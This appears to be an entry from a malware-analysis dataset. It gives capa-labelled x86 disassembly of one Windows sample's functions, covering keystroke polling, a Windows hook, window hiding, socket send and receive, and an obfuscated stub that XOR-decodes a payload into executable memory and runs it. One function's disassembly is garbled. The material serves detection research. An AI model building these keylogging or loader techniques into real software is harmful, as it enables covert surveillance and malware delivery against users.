joyce8/EMBER2024-capa huggingface dataset:
Function at 0x44ec64
Capabilities:
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
mov eax, dword [0x49c74c]
cmp byte [eax + 0xc], 0
je 0x44edd1
push 0x8000
call sub.kernel32.dll_SetErrorMode
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x44edca
push dword fs:[eax]
mov dword fs:[eax], esp
cmp dword [0x49dba0], 0
jne 0x44ecb8
push 0x44edd8
call sub.kernel32.dll_GetModuleHandleA_2
mov ebx, eax
push 0x44ede0
push ebx
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x49dba0], eax
cmp dword [0x49ae90], 0
jne 0x44edb3
push 0x44edf0
call sub.kernel32.dll_LoadLibraryA
mov dword [0x49ae90], eax
cmp dword [0x49ae90], 0
je 0x44edb3
push 0x44edfc
mov eax, dword [0x49ae90]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x49dba4], eax
push 0x44ee0c
mov eax, dword [0x49ae90]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x49dba8], eax
push 0x44ee20
mov eax, dword [0x49ae90]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x49dbac], eax
push 0x44ee38
mov eax, dword [0x49ae90]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x49dbb0], eax
push 0x44ee50
mov eax, dword [0x49ae90]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x49dbb4], eax
push 0x44ee64
mov eax, dword [0x49ae90]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x49dbb8], eax
push 0x44ee7c
mov eax, dword [0x49ae90]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x49dbbc], eax
push 0x44ee94
mov eax, dword [0x49ae90]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x49dbc0], eax
push 0x44eeb0
mov eax, dword [0x49ae90]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x49dbc4], eax
push 0x44eebc
mov eax, dword [0x49ae90]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x49dbc8], eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x44edd1
mov eax, dword [ebp - 4]
push eax
call sub.kernel32.dll_SetErrorMode
ret
pop ebx
pop ecx
pop ebp
ret

Function at 0x452c78
Capabilities:
Log keystrokes
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffefc
push ebx
mov ebx, edx
mov word [ebp - 2], ax
mov eax, ebx
call fcn.0040442c
push 0
xor eax, eax
mov al, byte [ebp - 2]
push eax
call sub.user32.dll_MapVirtualKeyA
shl eax, 0x10
test eax, eax
je 0x452cc7
push pe_nt_image_headers32
lea edx, [ebp - 0x102]
push edx
push eax
call sub.user32.dll_GetKeyNameTextA
mov eax, ebx
lea edx, [ebp - 0x102]
mov ecx, pe_nt_image_headers32
call fcn.0040469c
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x45a498
Capabilities:
Log keystrokes via polling

Disassembly:
push ebx
push esi
mov esi, eax
mov bl, byte [0x45a4e8]
test si, 4
je 0x45a4ac
or bl, 1
test si, 8
je 0x45a4b6
or bl, 4
test si, 1
je 0x45a4c0
or bl, 8
test si, 2
je 0x45a4ca
or bl, 0x10
test si, 0x10
je 0x45a4d4
or bl, 0x20
push 0x12
call sub.user32.dll_GetKeyState
test ax, ax
jge 0x45a4e3
or bl, 2
mov eax, ebx
pop esi
pop ebx
ret
Function at 0x45a4ec
Capabilities:
Log keystrokes via polling

Disassembly:
push ebx
push esi
mov esi, eax
mov bl, byte [0x45a524]
push 0x10
call sub.user32.dll_GetKeyState
test ax, ax
jge 0x45a505
or bl, 1
push 0x11
call sub.user32.dll_GetKeyState
test ax, ax
jge 0x45a514
or bl, 4
test esi, 0x20000000
je 0x45a51f
or bl, 2
mov eax, ebx
pop esi
pop ebx
ret

Function at 0x460be8
Capabilities:
Get keyboard layout

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
test dl, dl
je 0x460bfa
add esp, 0xfffffff0
call fcn.00403954
mov byte [ebp - 1], dl
mov ebx, eax
xor edx, edx
mov eax, ebx
call fcn.00422ddc
mov eax, dword [0x49c21c]
mov dword [eax + 4], ebx
mov dword [eax], 0x460f8c
mov eax, dword [0x49c22c]
mov dword [eax + 4], ebx
mov dword [eax], 0x460f98
mov eax, ebx
call fcn.00460fa4
push 0
call sub.user32.dll_GetKeyboardLayout
mov dword [ebx + 0x3c], eax
mov dl, 1
mov eax, dword [0x419d84]
call fcn.004035ec
mov dword [ebx + 0x4c], eax
mov dl, 1
mov eax, dword [0x419d84]
call fcn.004035ec
mov dword [ebx + 0x50], eax
mov dl, 1
mov eax, dword [0x419d84]
call fcn.004035ec
mov dword [ebx + 0x54], eax
mov dl, 1
mov eax, dword [0x419d84]
call fcn.004035ec
mov dword [ebx + 0x58], eax
mov dl, 1
mov eax, dword [0x419d84]
call fcn.004035ec
mov dword [ebx + 0x7c], eax
push 0
call sub.user32.dll_GetDC
mov esi, eax
push 0x5a
push esi
call sub.gdi32.dll_GetDeviceCaps
mov dword [ebx + 0x40], eax
push esi
push 0
call sub.user32.dll_ReleaseDC
mov eax, dword [ebx + 0x58]
push eax
mov eax, 0x45d3bc
push eax
push 0
push 0
mov eax, dword [0x49c44c]
mov eax, dword [eax]
call eax
mov dl, 1
mov eax, dword [0x424860]
call fcn.00425ff8
mov dword [ebx + 0x84], eax
mov dl, 1
mov eax, dword [0x424860]
call fcn.00425ff8
mov dword [ebx + 0x88], eax
mov dl, 1
mov eax, dword [0x424860]
call fcn.00425ff8
mov dword [ebx + 0x80], eax
mov eax, ebx
call fcn.004613f4
mov eax, dword [ebx + 0x84]
mov dword [eax + 0xc], ebx
mov dword [eax + 8], 0x4612bc
mov eax, dword [ebx + 0x88]
mov dword [eax + 0xc], ebx
mov dword [eax + 8], 0x4612bc
mov eax, dword [ebx + 0x80]
mov dword [eax + 0xc], ebx
mov dword [eax + 8], 0x4612bc
mov eax, ebx
cmp byte [ebp - 1], 0
je 0x460d37
call fcn.004039ac
pop dword fs:[0]
add esp, 0xc
mov eax, ebx
pop esi
pop ebx
pop ecx
pop ebp
ret
Function at 0x4610a0
Capabilities:
Get keyboard layout
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffda0
push ebx
xor edx, edx
mov dword [ebp - 0x260], edx
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x46124b
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
cmp dword [eax + 0x34], 0
jne 0x46122c
mov dl, 1
mov eax, dword [0x41a3e8]
call fcn.004035ec
mov edx, dword [ebp - 4]
mov dword [edx + 0x34], eax
mov eax, dword [ebp - 4]
add eax, 0x38
call fcn.0040442c
lea eax, [ebp - 0x114]
push eax
push 0x40
call sub.user32.dll_GetKeyboardLayoutList
dec eax
test eax, eax
jl 0x46121b
inc eax
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x114]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
call fcn.0044efc4
test al, al
je 0x46120e
lea eax, [ebp - 0xc]
push eax
push 0x20019
push 0
push 0
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
mov dword [ebp - 0x25c], eax
mov byte [ebp - 0x258], 0
lea ecx, [ebp - 0x25c]
mov edx, 0x46125c
lea eax, [ebp - 0x254]
call fcn.00409a44
push eax
push 0x80000002
call sub.advapi32.dll_RegOpenKeyExA_1
test eax, eax
jne 0x46120e
xor eax, eax
push ebp
push 0x461207
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 8], pe_nt_image_headers32
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x214]
push eax
push 0
push 0
push 0x461294
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegQueryValueExA_1
test eax, eax
jne 0x4611f0
lea eax, [ebp - 0x260]
lea edx, [ebp - 0x214]
mov ecx, pe_nt_image_headers32
call fcn.0040469c
mov edx, dword [ebp - 0x260]
mov eax, dword [ebp - 0x14]
mov ecx, dword [eax]
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x34]
mov ebx, dword [eax]
call dword [ebx + 0x3c]
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
mov edx, dword [ebp - 4]
cmp eax, dword [edx + 0x3c]
jne 0x4611f0
mov eax, dword [ebp - 4]
add eax, 0x38
lea edx, [ebp - 0x214]
mov ecx, pe_nt_image_headers32
call fcn.0040469c
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x46120e
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegCloseKey_1
ret
add dword [ebp - 0x14], 4
dec dword [ebp - 0x10]
jne 0x461111
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x34]
mov byte [eax + 0x1d], 0
mov dl, 1
call fcn.0041ea04
mov eax, dword [ebp - 4]
mov ebx, dword [eax + 0x34]
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x461252
lea eax, [ebp - 0x260]
call fcn.0040442c
ret

Function at 0x461b94
Capabilities:
Create thread
Set global application hook

Disassembly:
push ecx
mov eax, dword [0x49dbec]
cmp byte [eax + 0xa5], 0
jne 0x461c05
cmp dword [0x49dc04], 0
jne 0x461bc6
call sub.kernel32.dll_GetCurrentThreadId_1
push eax
push 0
mov eax, 0x461b50
push eax
push 3
call sub.user32.dll_SetWindowsHookExA
mov dword [0x49dc04], eax
cmp dword [0x49dc00], 0
jne 0x461be1
push 0
push 0
push 0
push 0
call sub.kernel32.dll_CreateEventA
mov dword [0x49dc00], eax
cmp dword [0x49dc08], 0
jne 0x461c05
push esp
push 0
push 0
push 0x461af4
push 0x3e8
push 0
call sub.kernel32.dll_CreateThread_1
mov dword [0x49dc08], eax
pop edx
ret
Function at 0x462298
Capabilities:
Enumerate gui resources

Disassembly:
push ebx
push esi
add esp, 0xfffffff8
mov ebx, eax
mov eax, dword [0x49dbec]
cmp dword [eax + 0x30], 0
je 0x462342
cmp dword [ebx + 0x94], 0
jne 0x46233c
mov eax, dword [ebx + 0x30]
mov dword [esp], eax
mov byte [esp + 4], dl
mov eax, esp
push eax
push 0x462228
call sub.user32.dll_EnumWindows
mov eax, dword [ebx + 0x90]
cmp dword [eax + 8], 0
je 0x46233c
push 3
mov eax, dword [esp + 4]
push eax
call sub.user32.dll_GetWindow
mov esi, eax
mov dword [esp], esi
push 0xffffffffffffffec
push esi
call sub.user32.dll_GetWindowLongA
test al, 8
je 0x462302
mov dword [esp], 0xfffffffe
mov eax, dword [ebx + 0x90]
mov esi, dword [eax + 8]
dec esi
cmp esi, 0
jl 0x46233c
push 0x213
push 0
push 0
push 0
push 0
mov eax, dword [esp + 0x14]
push eax
mov edx, esi
mov eax, dword [ebx + 0x90]
call fcn.0041c3b4
push eax
call sub.user32.dll_SetWindowPos
dec esi
cmp esi, 0xffffffff
jne 0x462311
inc dword [ebx + 0x94]
pop ecx
pop edx
pop esi
pop ebx
ret

Function at 0x462ea0
Capabilities:
Get graphical window text

Disassembly:
push ebx
push esi
add esp, 0xffffff00
mov esi, edx
mov ebx, eax
cmp byte [ebx + 0xa4], 0
je 0x462ed5
push pe_nt_image_headers32
lea eax, [esp + 4]
push eax
mov eax, dword [ebx + 0x30]
push eax
call sub.user32.dll_GetWindowTextA
mov ecx, eax
mov edx, esp
mov eax, esi
call fcn.0040451c
jmp 0x462ee2
mov eax, esi
mov edx, dword [ebx + 0x8c]
call fcn.00404480
add esp, 0x100
pop esi
pop ebx
ret

Function at 0x463ff4
Capabilities:
Hide graphical window

Disassembly:
push ebx
push esi
mov ebx, eax
mov esi, dword [ebx + 0x84]
test esi, esi
je 0x464035
mov eax, esi
call fcn.0044a5ac
test al, al
je 0x464035
mov eax, dword [ebx + 0x84]
call fcn.0044a2a8
push eax
call sub.user32.dll_IsWindowVisible
test eax, eax
je 0x464035
push 0
mov eax, dword [ebx + 0x84]
call fcn.0044a2a8
push eax
call sub.user32.dll_ShowWindow
pop esi
pop ebx
ret

Function at 0x48733b
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push ebx
xor ebx, ebx
lea eax, [ebp - 4]
push eax
push 0x20019
push 0
push 0x49befa
push 0x80000002
call sub.advapi32.dll_RegOpenKeyExA_1
test eax, eax
jne 0x487393
movzx edx, word [ebp + 8]
mov dword [ebp - 8], edx
lea ecx, [ebp - 8]
push ecx
push dword [ebp + 0xc]
push 0
push 0
push 0x49bf1b
push dword [ebp - 4]
call sub.advapi32.dll_RegQueryValueExA_1
test eax, eax
je 0x487389
mov bx, 0x2a04
push dword [ebp - 4]
call sub.advapi32.dll_RegCloseKey_1
jmp 0x487397
mov bx, 0x2a04
mov eax, ebx
pop ebx
pop ecx
pop ecx
pop ebp
ret 8
Function at 0x493a08
Capabilities:
Initialize winsock library

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffe4
push ebx
xor eax, eax
mov dword [ebp - 0x1c], eax
xor eax, eax
push ebp
push 0x493a91
push dword fs:[eax]
mov dword fs:[eax], esp
push 0x49dd0c
push 0x101
call sub.wsock32.dll_WSAStartup
mov ebx, eax
test ebx, ebx
je 0x493a7b
lea edx, [ebp - 0x1c]
mov eax, ebx
call fcn.0040c2a4
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x18], eax
mov byte [ebp - 0x14], 0xb
mov dword [ebp - 0x10], ebx
mov byte [ebp - 0xc], 0
mov eax, 0x493aa8
mov dword [ebp - 8], eax
mov byte [ebp - 4], 0xb
lea eax, [ebp - 0x18]
push eax
push 2
mov ecx, dword [0x49c5d8]
mov dl, 1
mov eax, dword [0x492d6c]
call fcn.0040cbd8
call fcn.00403dbc
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x493a98
lea eax, [ebp - 0x1c]
call fcn.0040442c
ret

Function at 0x49415c
Capabilities:
Connect socket

Disassembly:
push ebx
push esi
mov ebx, eax
mov eax, ebx
call fcn.00494080
mov cl, 1
mov edx, ebx
mov eax, ebx
mov si, 0xffff
call fcn.00403824
push 0x10
lea eax, [ebx + 0x18]
push eax
mov eax, dword [ebx + 4]
push eax
call sub.wsock32.dll_connect
mov edx, 0x4941c0
call fcn.00493950
mov byte [ebx + 0x29], 0
test byte [ebx + 0x28], 0x10
jne 0x4941b2
cmp dword [ebx + 4], 0xffffffff
setne al
mov byte [ebx + 8], al
mov cl, 2
mov edx, ebx
mov eax, ebx
mov si, 0xffff
call fcn.00403824
pop esi
pop ebx
ret

Function at 0x49428c
Capabilities:
Resolve dns

Disassembly:
push ebx
add esp, 0xfffffff8
mov ebx, edx
mov eax, ebx
call fcn.004048ec
push eax
call sub.wsock32.dll_gethostbyname
mov ebx, eax
lea eax, [esp + 4]
xor ecx, ecx
mov edx, 4
call fcn.00402fc0
test ebx, ebx
je 0x4942d7
mov eax, ebx
mov edx, dword [eax + 0xc]
mov edx, dword [edx]
mov cl, byte [edx]
mov byte [esp + 4], cl
mov cl, byte [edx + 1]
mov byte [esp + 5], cl
mov cl, byte [edx + 2]
mov byte [esp + 6], cl
mov al, byte [edx + 3]
mov byte [esp + 7], al
mov eax, dword [esp + 4]
mov dword [esp], eax
mov eax, dword [esp]
pop ecx
pop edx
pop ebx
ret
Function at 0x4943b4
Capabilities:
Create tcp socket
Create udp socket

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffe8
push ebx
push esi
push edi
mov dword [ebp - 8], ecx
mov edi, edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
cmp byte [eax + 8], 0
je 0x4943e5
mov ecx, dword [0x49c724]
mov dl, 1
mov eax, dword [0x492d6c]
call fcn.0040cb9c
call fcn.00403dbc
push 0
push 1
push 2
call sub.wsock32.dll_socket
mov ebx, eax
mov eax, dword [ebp - 4]
mov dword [eax + 4], ebx
inc ebx
jne 0x494412
mov ecx, dword [0x49c41c]
mov dl, 1
mov eax, dword [0x492d6c]
call fcn.0040cb9c
call fcn.00403dbc
xor eax, eax
push ebp
push 0x494493
push dword fs:[eax]
mov dword fs:[eax], esp
xor ecx, ecx
mov edx, dword [ebp - 4]
mov eax, dword [ebp - 4]
mov si, 0xffff
call fcn.00403824
cmp byte [ebp + 8], 0
je 0x49446d
mov eax, dword [ebp + 0x14]
push eax
mov ax, word [ebp + 0x10]
push eax
push 0
lea eax, [ebp - 0x18]
push eax
mov ecx, dword [ebp - 8]
mov edx, edi
mov eax, dword [ebp - 4]
call fcn.0049431c
mov eax, dword [ebp - 4]
lea esi, [ebp - 0x18]
lea edi, [eax + 0x18]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
mov edx, dword [ebp + 0xc]
mov eax, dword [ebp - 4]
call fcn.004940dc
jmp 0x494489
mov eax, dword [ebp + 0x14]
push eax
mov ax, word [ebp + 0x10]
push eax
mov eax, dword [ebp + 0xc]
push eax
push 0
mov ecx, dword [ebp - 8]
mov edx, edi
mov eax, dword [ebp - 4]
call fcn.00493c3c
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x4944b0
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0x10
Function at 0x494678
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffff004
push eax
add esp, 0xfffffff0
push ebx
push esi
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00493f04
xor eax, eax
push ebp
push 0x4947e9
push dword fs:[eax]
mov dword fs:[eax], esp
mov byte [ebp - 5], 0
mov eax, dword [ebp - 4]
cmp dword [eax + 0xc], 0
je 0x4947d3
mov eax, dword [ebp - 4]
cmp dword [eax + 4], 0xffffffff
je 0x4946c3
mov eax, dword [ebp - 4]
cmp byte [eax + 8], 0
jne 0x4946cd
call fcn.00403e68
jmp 0x4947f0
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0xc]
call fcn.0041eab4
mov dword [ebp - 0xc], eax
lea edx, [ebp - 0x1010]
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0xc]
mov ecx, 0x1000
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov ebx, eax
test ebx, ebx
jle 0x4947c8
push 0
push ebx
lea eax, [ebp - 0x1010]
push eax
mov eax, dword [ebp - 4]
mov eax, dword [eax + 4]
push eax
call sub.wsock32.dll_send
mov ecx, eax
cmp ecx, 0xffffffff
jne 0x49477b
call sub.wsock32.dll_WSAGetLastError
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0x2733
je 0x494768
lea eax, [ebp - 0x10]
push eax
mov cl, 1
mov edx, dword [ebp - 4]
mov eax, dword [ebp - 4]
mov si, 0xfffe
call fcn.00403824
mov eax, dword [ebp - 4]
mov edx, dword [eax + 4]
mov eax, dword [ebp - 4]
mov ecx, dword [eax]
call dword [ecx + 8]
push ebp
call fcn.00494630
pop ecx
mov eax, dword [ebp - 4]
mov dl, byte [0x4947fc]
cmp dl, byte [eax + 0x28]
je 0x4947cf
call fcn.0040cac0
jmp 0x4947cf
mov eax, dword [ebp - 0xc]
cdq
push edx
push eax
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0xc]
call fcn.0041ead4
jmp 0x4947cf
cmp ecx, ebx
jge 0x494797
mov eax, dword [ebp - 0xc]
add eax, ecx
cdq
push edx
push eax
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0xc]
call fcn.0041ead4
jmp 0x4946cd
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0xc]
mov edx, dword [eax]
call dword [edx]
push edx
push eax
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0xc]
call fcn.0041eab4
cmp edx, dword [esp + 4]
jne 0x4947b7
cmp eax, dword [esp]
pop edx
pop eax
jne 0x4946cd
push ebp
call fcn.00494630
pop ecx
jmp 0x4947cf
push ebp
call fcn.00494630
pop ecx
mov byte [ebp - 5], 1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4947f0
mov eax, dword [ebp - 4]
call fcn.00493f10
ret
mov al, byte [ebp - 5]
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x494800
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffd8
push ebx
push esi
xor ebx, ebx
mov dword [ebp - 0x28], ebx
mov esi, ecx
mov ebx, edx
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x494922
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
call fcn.00493f04
xor eax, eax
push ebp
push 0x494905
push dword fs:[eax]
mov dword fs:[eax], esp
xor eax, eax
mov dword [ebp - 8], eax
mov eax, dword [ebp - 4]
cmp byte [eax + 8], 0
jne 0x494850
call fcn.00403e68
jmp 0x49490c
push 0
push esi
push ebx
mov eax, dword [ebp - 4]
mov eax, dword [eax + 4]
push eax
call sub.wsock32.dll_send
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0xffffffff
jne 0x4948ef
call sub.wsock32.dll_WSAGetLastError
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0x2733
je 0x4948ef
lea eax, [ebp - 0xc]
push eax
mov cl, 1
mov edx, dword [ebp - 4]
mov eax, dword [ebp - 4]
mov si, 0xfffe
call fcn.00403824
mov eax, dword [ebp - 4]
mov edx, dword [eax + 4]
mov eax, dword [ebp - 4]
mov ecx, dword [eax]
call dword [ecx + 8]
cmp dword [ebp - 0xc], 0
je 0x4948ef
lea edx, [ebp - 0x28]
mov eax, dword [ebp - 0xc]
call fcn.0040c2a4
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x24], eax
mov byte [ebp - 0x20], 0xb
mov eax, dword [ebp - 0xc]
mov dword [ebp - 0x1c], eax
mov byte [ebp - 0x18], 0
mov eax, 0x49493c
mov dword [ebp - 0x14], eax
mov byte [ebp - 0x10], 0xb
lea eax, [ebp - 0x24]
push eax
push 2
mov ecx, dword [0x49c5d8]
mov dl, 1
mov eax, dword [0x492d6c]
call fcn.0040cbd8
call fcn.00403dbc
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x49490c
mov eax, dword [ebp - 4]
call fcn.00493f10
ret
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x494929
lea eax, [ebp - 0x28]
call fcn.0040442c
ret
Function at 0x494988
Capabilities:
Receive data
Receive data on socket
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffd8
push ebx
push esi
xor ebx, ebx
mov dword [ebp - 0x28], ebx
mov ebx, ecx
mov esi, edx
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x494ad2
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
call fcn.00493f04
xor eax, eax
push ebp
push 0x494ab5
push dword fs:[eax]
mov dword fs:[eax], esp
xor eax, eax
mov dword [ebp - 8], eax
cmp ebx, 0xffffffff
jne 0x4949ed
mov eax, dword [ebp - 4]
cmp byte [eax + 8], 0
je 0x4949ed
lea eax, [ebp - 8]
push eax
push 0x4004667f
mov eax, dword [ebp - 4]
mov eax, dword [eax + 4]
push eax
call sub.wsock32.dll_ioctlsocket
jmp 0x494a9f
mov eax, dword [ebp - 4]
cmp byte [eax + 8], 0
jne 0x494a00
call fcn.00403e68
jmp 0x494abc
push 0
push ebx
push esi
mov eax, dword [ebp - 4]
mov eax, dword [eax + 4]
push eax
call sub.wsock32.dll_recv
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0xffffffff
jne 0x494a9f
call sub.wsock32.dll_WSAGetLastError
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0x2733
je 0x494a9f
lea eax, [ebp - 0xc]
push eax
mov cl, 2
mov edx, dword [ebp - 4]
mov eax, dword [ebp - 4]
mov si, 0xfffe
call fcn.00403824
mov eax, dword [ebp - 4]
mov edx, dword [eax + 4]
mov eax, dword [ebp - 4]
mov ecx, dword [eax]
call dword [ecx + 8]
cmp dword [ebp - 0xc], 0
je 0x494a9f
lea edx, [ebp - 0x28]
mov eax, dword [ebp - 0xc]
call fcn.0040c2a4
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x24], eax
mov byte [ebp - 0x20], 0xb
mov eax, dword [ebp - 0xc]
mov dword [ebp - 0x1c], eax
mov byte [ebp - 0x18], 0
mov eax, 0x494aec
mov dword [ebp - 0x14], eax
mov byte [ebp - 0x10], 0xb
lea eax, [ebp - 0x24]
push eax
push 2
mov ecx, dword [0x49c5d8]
mov dl, 1
mov eax, dword [0x492d6c]
call fcn.0040cbd8
call fcn.00403dbc
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x494abc
mov eax, dword [ebp - 4]
call fcn.00493f10
ret
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x494ad9
lea eax, [ebp - 0x28]
call fcn.0040442c
ret
Function at 0x474f90
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
push esi
push edi
xor edi, edi
cmp dword [esp + 0x10], edi
mov ebx, ecx
je 0x474fd2
call fcn.0047a915
mov esi, dword [eax + 0xc]
push 0xf0
push dword [esp + 0x14]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
cmp eax, edi
je 0x474fd2
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
cmp eax, edi
jne 0x474fc9
xor eax, eax
jmp 0x474fda
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, eax
push edi
mov ecx, ebx
call fcn.00474fe0
pop edi
pop esi
pop ebx
ret 4

Function at 0x47ae45
Capabilities:
Get thread local storage value

Disassembly:
push ebx
push esi
mov esi, ecx
lea ebx, [esi + 0x1c]
push ebx
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
cmp dword [esp + 0x10], 0
jne 0x47ae73
push dword [esi]
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
test eax, eax
je 0x47ae91
push dword [esp + 0xc]
mov ecx, esi
push eax
call fcn.0047adab
jmp 0x47ae91
mov eax, dword [esi + 0x14]
test eax, eax
je 0x47ae91
push edi
push dword [esp + 0x10]
mov edi, dword [eax + 4]
mov ecx, esi
push eax
call fcn.0047adab
test edi, edi
mov eax, edi
jne 0x47ae7b
pop edi
push ebx
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
pop esi
pop ebx
ret 8

Function at 0x409ebd
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
mov eax, section.sect_0
call 0x409ebd
lcall 0x5de5, 0x8b10c483
jmp fcn.0076d6b4
Function at 0x40672b
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x3c
pushal
call 0x40673a
pop dword [ebp - 0x2c]
mov eax, 0x6c3b0edd
sub eax, 0x6bfaa7a3
sub dword [ebp - 0x2c], eax
mov dword [ebp - 0x3c], 0x1e414180
sub dword [ebp - 0x3c], 0xcfeefc35
mov dword [ebp - 0x38], 0xa8981cf5
add dword [ebp - 0x38], 0x899b2f50
mov dword [ebp - 0x34], 0x5f4d1b2f
add dword [ebp - 0x34], 0xecff28ff
mov dword [ebp - 0x30], 0x27a670fb
sub dword [ebp - 0x30], 0x27a670fb
lea eax, [ebp - 0x3c]
push eax
mov eax, sym.imp.kernel32.dll_GetModuleHandleA
add eax, dword [ebp - 0x2c]
call dword [eax]
mov dword [ebp - 0x3c], 0x2ebd3cf7
sub dword [ebp - 0x3c], 0xba4ad3a1
mov dword [ebp - 0x38], 0x70dfeb6e
add dword [ebp - 0x38], 0xd08c7607
mov dword [ebp - 0x34], 0x996b178b
add dword [ebp - 0x34], 0xca0454e1
mov dword [ebp - 0x30], 0x9814aec5
add dword [ebp - 0x30], 0x67eb513b
lea ebx, [ebp - 0x3c]
push ebx
push eax
mov eax, 0xdeb51840
add eax, 0x218b68c0
add eax, dword [ebp - 0x2c]
call dword [eax]
push 0x40
push 0x1000
push 0x3b5f1
push 0
call eax
mov ecx, 0x576c
xor edi, edi
add edi, eax
mov ebx, 0xb1f3a4c9
add ebx, 0x4e533f37
add ebx, dword [ebp - 0x2c]
mov esi, 0xf8fc26f9
sub esi, 0x49695a89
mov dword [ebp - 0xc], 0x20dda87d
mov edx, dword [ebx]
add dword [ebp - 0x1c], 0xbc99eac9
xor edx, esi
sub dword [ebp - 0x1c], 0x8bd19d26
mov dword [edi], edx
add dword [ebp - 0xc], 0xc4a75196
add edi, 0x385d780f
sub edi, 0x385d780b
add ebx, 4
loop 0x406853
add eax, 0x15083
xor ebx, ebx
add ebx, eax
add eax, 5
mov ecx, 0x8313ddda
add ecx, 0x7d2c2226
add ecx, dword [ebp - 0x2c]
call ebx
leave
ret